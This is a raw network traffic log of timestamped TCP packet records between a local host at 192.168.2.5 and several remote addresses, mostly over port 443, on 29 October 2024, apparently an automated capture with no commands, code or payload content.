Oct 29, 2024 02:46:28.288898945 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.289428949 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.289433002 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.299057007 CET	49762	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.299073935 CET	443	49762	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.418906927 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.418968916 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.419378042 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.629055977 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.629081964 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.629098892 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.629105091 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.700211048 CET	49767	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.700247049 CET	443	49767	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:28.700320005 CET	49767	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.756598949 CET	49767	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:28.756619930 CET	443	49767	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:29.024446964 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:29.149339914 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:29.172745943 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:29.172754049 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:29.173804045 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:29.173809052 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:29.183816910 CET	49770	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:29.183914900 CET	443	49770	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:29.183995962 CET	49770	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:29.184247971 CET	49770	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:29.184283018 CET	443	49770	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:29.186173916 CET	49771	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:29.186218023 CET	443	49771	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:29.186278105 CET	49771	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:29.215522051 CET	49772	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:29.215539932 CET	443	49772	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:29.215599060 CET	49772	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:29.217927933 CET	49771	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:29.217950106 CET	443	49771	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:29.286340952 CET	49772	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:29.286353111 CET	443	49772	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:29.288542032 CET	49775	443	192.168.2.5	94.245.104.56
Oct 29, 2024 02:46:29.288568974 CET	443	49775	94.245.104.56	192.168.2.5
Oct 29, 2024 02:46:29.288624048 CET	49775	443	192.168.2.5	94.245.104.56
Oct 29, 2024 02:46:29.294606924 CET	49775	443	192.168.2.5	94.245.104.56
Oct 29, 2024 02:46:29.294615984 CET	443	49775	94.245.104.56	192.168.2.5
Oct 29, 2024 02:46:29.301162004 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:29.301232100 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:29.301278114 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:29.303261995 CET	49766	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:29.303271055 CET	443	49766	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:29.481837034 CET	49778	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:29.481878042 CET	443	49778	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:29.482167006 CET	49778	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:29.507561922 CET	49778	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:29.507580996 CET	443	49778	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:29.536948919 CET	443	49767	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:29.576180935 CET	49767	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:29.576198101 CET	443	49767	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:29.576730967 CET	49767	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:29.576738119 CET	443	49767	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:29.709422112 CET	443	49767	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:29.709583044 CET	443	49767	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:29.709753990 CET	49767	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:29.786465883 CET	49767	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:29.786479950 CET	443	49767	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:29.786523104 CET	49767	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:29.786529064 CET	443	49767	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:29.846251965 CET	49779	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:29.846326113 CET	443	49779	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:29.846410036 CET	49779	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:29.915975094 CET	443	49770	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:29.918306112 CET	49779	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:29.918340921 CET	443	49779	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:29.935595989 CET	49770	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:29.935630083 CET	443	49770	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:29.936114073 CET	49770	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:29.936125994 CET	443	49770	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:29.950808048 CET	443	49771	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.019653082 CET	443	49772	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.020462990 CET	49771	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.020489931 CET	443	49771	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.021078110 CET	49771	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.021084070 CET	443	49771	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.042833090 CET	49772	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.042854071 CET	443	49772	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.043359995 CET	49772	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.043365002 CET	443	49772	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.062824011 CET	443	49770	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.063142061 CET	443	49770	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.063211918 CET	49770	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.067329884 CET	49770	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.067352057 CET	443	49770	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.067576885 CET	49770	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.067595005 CET	443	49770	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.113039970 CET	49780	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.113099098 CET	443	49780	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.113229036 CET	49780	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.114085913 CET	49780	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.114104986 CET	443	49780	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.147535086 CET	443	49771	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.148159981 CET	443	49771	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.148257971 CET	49771	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.160526991 CET	49771	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.160561085 CET	443	49771	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.160572052 CET	49771	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.160578966 CET	443	49771	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.170094013 CET	443	49772	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.170465946 CET	443	49772	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.170522928 CET	49772	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.170782089 CET	49781	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.170800924 CET	443	49781	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.170927048 CET	49781	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.173346043 CET	49772	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.173352003 CET	443	49772	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.173366070 CET	49772	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.173369884 CET	443	49772	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.174768925 CET	49781	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.174777985 CET	443	49781	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.177761078 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.177794933 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.178374052 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.187892914 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.187913895 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.240051031 CET	443	49778	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.265455961 CET	49778	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.265474081 CET	443	49778	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.266185045 CET	49778	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.266189098 CET	443	49778	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.383341074 CET	443	49775	94.245.104.56	192.168.2.5
Oct 29, 2024 02:46:30.394510031 CET	443	49778	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.394551992 CET	443	49778	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.396128893 CET	49778	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.445445061 CET	49775	443	192.168.2.5	94.245.104.56
Oct 29, 2024 02:46:30.667721033 CET	443	49779	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.747757912 CET	49779	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.830796003 CET	49775	443	192.168.2.5	94.245.104.56
Oct 29, 2024 02:46:30.830818892 CET	443	49775	94.245.104.56	192.168.2.5
Oct 29, 2024 02:46:30.834566116 CET	443	49775	94.245.104.56	192.168.2.5
Oct 29, 2024 02:46:30.834600925 CET	443	49775	94.245.104.56	192.168.2.5
Oct 29, 2024 02:46:30.834676981 CET	49775	443	192.168.2.5	94.245.104.56
Oct 29, 2024 02:46:30.854454041 CET	443	49780	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.888530970 CET	49775	443	192.168.2.5	94.245.104.56
Oct 29, 2024 02:46:30.888824940 CET	443	49775	94.245.104.56	192.168.2.5
Oct 29, 2024 02:46:30.889045000 CET	49775	443	192.168.2.5	94.245.104.56
Oct 29, 2024 02:46:30.889051914 CET	443	49775	94.245.104.56	192.168.2.5
Oct 29, 2024 02:46:30.894412994 CET	443	49781	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.920027018 CET	49786	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:30.920042992 CET	443	49786	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:30.920108080 CET	49786	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:30.920742035 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.921489000 CET	49786	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:30.921499968 CET	443	49786	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:30.923568964 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.923593998 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.924089909 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.924099922 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.924575090 CET	49778	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.924587011 CET	443	49778	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.924596071 CET	49778	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.924601078 CET	443	49778	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.926980019 CET	49779	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.927012920 CET	443	49779	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.927464008 CET	49779	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.927475929 CET	443	49779	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.928952932 CET	49780	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.928963900 CET	443	49780	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.929526091 CET	49780	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.929533005 CET	443	49780	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.930253029 CET	49781	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.930264950 CET	443	49781	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.930749893 CET	49781	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.930753946 CET	443	49781	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.953660965 CET	49789	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.953680992 CET	443	49789	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.953952074 CET	49789	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.957288980 CET	49789	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:30.957298040 CET	443	49789	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:30.987196922 CET	80	49744	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:30.987265110 CET	49744	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:31.053040028 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.053317070 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.053426027 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.054311037 CET	443	49781	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.054367065 CET	443	49781	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.054478884 CET	49781	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.054874897 CET	443	49779	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.054996967 CET	49775	443	192.168.2.5	94.245.104.56
Oct 29, 2024 02:46:31.055206060 CET	443	49779	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.055274963 CET	49779	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.057768106 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.057795048 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.057821035 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.057827950 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.057914972 CET	49781	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.057924032 CET	443	49781	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.058020115 CET	443	49780	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.058064938 CET	443	49780	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.058147907 CET	49780	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.058782101 CET	49779	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.058800936 CET	443	49779	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.063723087 CET	49780	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.063723087 CET	49780	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.063730955 CET	443	49780	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.063740015 CET	443	49780	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.067822933 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.067841053 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.067910910 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.070369959 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.070380926 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.075630903 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.075644016 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.075706005 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.075984955 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.075990915 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.077440023 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.077543020 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.077743053 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.078111887 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.078151941 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.081536055 CET	49793	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.081590891 CET	443	49793	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.081727028 CET	49793	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.081876040 CET	49793	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.081907988 CET	443	49793	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.130201101 CET	443	49775	94.245.104.56	192.168.2.5
Oct 29, 2024 02:46:31.138032913 CET	49775	443	192.168.2.5	94.245.104.56
Oct 29, 2024 02:46:31.138118029 CET	443	49775	94.245.104.56	192.168.2.5
Oct 29, 2024 02:46:31.138201952 CET	49775	443	192.168.2.5	94.245.104.56
Oct 29, 2024 02:46:31.562438011 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:31.562450886 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:31.562525988 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:31.562757015 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:31.562767982 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:31.700807095 CET	443	49789	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.798093081 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.805197001 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.810782909 CET	443	49793	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.851213932 CET	49789	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.851231098 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.851242065 CET	49793	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.851577044 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.852171898 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.886418104 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.886456013 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.887263060 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.887269020 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.887681007 CET	49789	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.887687922 CET	443	49789	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.888777018 CET	49789	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.888780117 CET	443	49789	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.925422907 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.925429106 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.926132917 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.926136971 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.927292109 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.927304983 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.927908897 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.927915096 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.928345919 CET	49793	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.928365946 CET	443	49793	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:31.929497957 CET	49793	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:31.929511070 CET	443	49793	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.183439016 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.183486938 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.183516026 CET	443	49789	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.183549881 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.183577061 CET	443	49789	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.183617115 CET	49789	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.184181929 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.184230089 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.184266090 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.184283972 CET	443	49793	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.184315920 CET	443	49793	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.184523106 CET	49793	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.184590101 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.184753895 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.184797049 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.186640978 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.186661005 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.186671019 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.186676979 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.193149090 CET	443	49786	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:32.193221092 CET	49786	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:32.193255901 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.193267107 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.193276882 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.193280935 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.194710016 CET	49789	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.194720030 CET	443	49789	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.194731951 CET	49789	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.194736004 CET	443	49789	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.196897030 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.196903944 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.196912050 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.196914911 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.197052956 CET	49793	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.197052956 CET	49793	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.197082043 CET	443	49793	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.197107077 CET	443	49793	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.249083996 CET	49807	443	192.168.2.5	18.244.18.32
Oct 29, 2024 02:46:32.249151945 CET	443	49807	18.244.18.32	192.168.2.5
Oct 29, 2024 02:46:32.249228954 CET	49807	443	192.168.2.5	18.244.18.32
Oct 29, 2024 02:46:32.249469042 CET	49807	443	192.168.2.5	18.244.18.32
Oct 29, 2024 02:46:32.249500036 CET	443	49807	18.244.18.32	192.168.2.5
Oct 29, 2024 02:46:32.259819031 CET	49810	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.259860992 CET	443	49810	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.259932041 CET	49810	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.263515949 CET	49811	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.263555050 CET	443	49811	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.263884068 CET	49811	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.269161940 CET	49812	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.269171953 CET	443	49812	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.269237041 CET	49812	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.269476891 CET	49810	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.269506931 CET	443	49810	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.269711018 CET	49811	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.269726038 CET	443	49811	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.271975994 CET	49813	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.272002935 CET	443	49813	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.272056103 CET	49813	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.272173882 CET	49813	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.272190094 CET	443	49813	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.277954102 CET	49812	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.277965069 CET	443	49812	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.279915094 CET	49814	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.279922009 CET	443	49814	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.279983044 CET	49814	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.280101061 CET	49814	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:32.280111074 CET	443	49814	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:32.295264006 CET	49786	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:32.295281887 CET	443	49786	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:32.295490980 CET	443	49786	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:32.297565937 CET	49786	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:32.297637939 CET	49786	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:32.297734976 CET	443	49786	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:32.450695038 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.451174021 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.451184034 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.451683998 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.451703072 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.451756001 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.451761007 CET	443	49794	172.217.18.1	192.168.2.5
